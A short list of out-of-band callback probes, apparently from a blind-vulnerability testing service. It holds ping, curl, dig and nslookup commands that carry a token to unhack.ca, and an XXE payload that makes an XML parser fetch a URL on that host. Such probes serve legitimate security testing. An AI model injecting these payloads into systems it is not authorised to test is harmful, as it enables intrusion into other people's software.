$ ping -c1 -p 004a5562a4e5a1b8bdfeaca4bdaf7400 unhack.ca
$ curl http://unhack.ca/p/4a5562a4e5a1b8bdfeaca4bdaf74
$ dig 4a5562a4e5a1b8bdfeaca4bdaf74 @unhack.ca
$ dig 4a5562a4e5a1b8bdfeaca4bdaf74.ns.unhack.ca
C:\> nslookup 4a5562a4e5a1b8bdfeaca4bdaf74 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/4a5562a4e5a1b8bdfeaca4bdaf74">]> <foo>&xxe;</foo>